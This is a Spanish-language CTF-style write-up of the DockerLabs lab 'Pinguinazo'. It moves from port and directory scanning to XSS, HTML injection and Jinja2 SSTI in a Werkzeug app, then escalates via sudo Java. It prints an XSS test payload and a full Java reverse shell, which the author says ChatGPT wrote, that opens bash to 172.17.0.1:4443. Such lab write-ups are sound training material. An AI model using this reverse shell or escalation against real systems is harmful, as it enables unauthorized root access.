romabri@home:~$

Pinguinazo - DockerLabs

OS Dificultad Creator
Linux Fácil ElPinguinoDeMario

Reconocimiento

Vemos el puerto 5000 abierto

imagen

Vamos a ver qué hay en ese puerto

imagen

Nos encontramos esta página web con unos campos para rellenar, vamos a pasarle el WhatWeb a ver qué nos dice

imagen

Tenemos diferentes versiones de Werkzeug Python

Si rellenamos los campos, vemos lo siguiente

imagen

Vamos a pasarle Gobuster a ver si encuentra algo y únicamente nos encuentra un /console que nos pide un PIN

imagen

Explotación

En el campo PinguNombre si probamos de inyectar código malicioso como por ejemplo:

<script>alert('XSS')</script>

vemos lo siguiente:

imagen

Entonces esto es vulnerable a Cross-Site Scripting (XSS). Vamos a intentar otras vulnerabilidades web como HTML Injection

imagen imagen

También es vulnerable. Vamos a probar con una vulnerabilidad de SSTI

Accedemos a esta página y nos dirigimos a la parte que dice Exploit the SSTI by calling os.popen().read(

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2—remote-code-execution

imagen

Introducimos este código que lo encontramos en la página de Github y vemos que también es vulnerable.

imagen

Ahora vamos a aprovechar el SSTI para mandarnos una reverse shell y poder acceder a la máquina


Intrusión

Y conseguimos acceder a la máquina

imagen

Ahora vamos a buscar la forma de escalar privilegios

Escalada de privilegios

imagen

Vemos que podemos ejecutar Java como root, en GTFOBins no aparece nada y en la máquina no aparece ningún script en Java, entonces le pedimos a ChatGPT que nos haga una Reverse Shell en Java


public class shell {  
  public static void main(String[] args) {  
      Process p;  
      try {  
          p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/4443 0>&1");  
          p.waitFor();  
          p.destroy();  
      } catch (Exception e) {}  
  }  
}

Lo ejecutamos de la siguiente forma

sudo -u root /usr/bin/java /tmp/r.java

Y ya somos ROOT

imagen